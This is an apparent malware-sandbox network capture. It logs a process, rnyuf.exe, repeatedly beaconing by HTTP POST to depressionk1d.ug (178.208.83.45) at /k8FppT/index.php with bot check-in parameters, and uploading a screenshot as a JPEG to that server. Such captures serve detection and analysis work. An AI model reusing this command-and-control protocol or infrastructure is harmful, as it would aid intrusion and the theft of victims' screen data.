61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:14.957413912 CET	11109	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
281	192.168.2.4	50103	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:15.090527058 CET	11110	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:15.112996101 CET	11111	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:15 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:15.113010883 CET	11111	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
282	192.168.2.4	50104	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:15.250423908 CET	11112	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:15.277514935 CET	11112	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
283	192.168.2.4	50105	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:15.418986082 CET	11113	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:15.445609093 CET	11113	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
284	192.168.2.4	50106	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:15.581774950 CET	11114	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:15.608174086 CET	11115	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
285	192.168.2.4	50108	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:15.757513046 CET	11225	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:15.783256054 CET	11355	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
286	192.168.2.4	50111	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:15.919476986 CET	11643	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:15.945046902 CET	11643	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
287	192.168.2.4	50113	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:16.095906019 CET	12799	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:16.123121023 CET	13009	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
288	192.168.2.4	50114	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:16.097812891 CET	12808	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:16.097940922 CET	12808	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:16.098207951 CET	12818	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:16.098383904 CET	12821	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:16.120924950 CET	12975	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:16.120973110 CET	12978	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:24:16.120981932 CET	12979	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:24:16.121059895 CET	12982	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:24:16.121109962 CET	12985	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:24:16.143724918 CET	13256	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:24:16.143780947 CET	13274	OUT	Data Raw: 03 c5 28 3c d3 41 a5 26 98 ac 48 0d 3b 39 a8 f7 52 83 54 89 68 7e 69 41 a6 e6 8a a2 6c 48 0d 3b 35 18 a7 53 4c 96 87 e6 9d 9a 8f 34 a0 fb d5 5c 9b 12 03 4e 06 a2 06 9c 0d 32 5a 25 cd 00 d3 33 4a 1a 98 ac 49 9a 01 a6 73 4f 14 c9 b0 e1 52 2f 15 18 Data Ascii: (<A&H;9RTh~iAlH;5SL4\N2Z%3JIsOR/2.iY2,M54h<3<SsLICS3OwFX7TwR'}@;4L$*i<}89iAqBxZvO(n??3!T6PY?G:nf;r
Nov 12, 2021 22:24:16.191167116 CET	13324	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:16 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
289	192.168.2.4	50115	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:16.264164925 CET	13619	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:16.290652990 CET	13620	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.4	49813	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:25.901081085 CET	3561	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
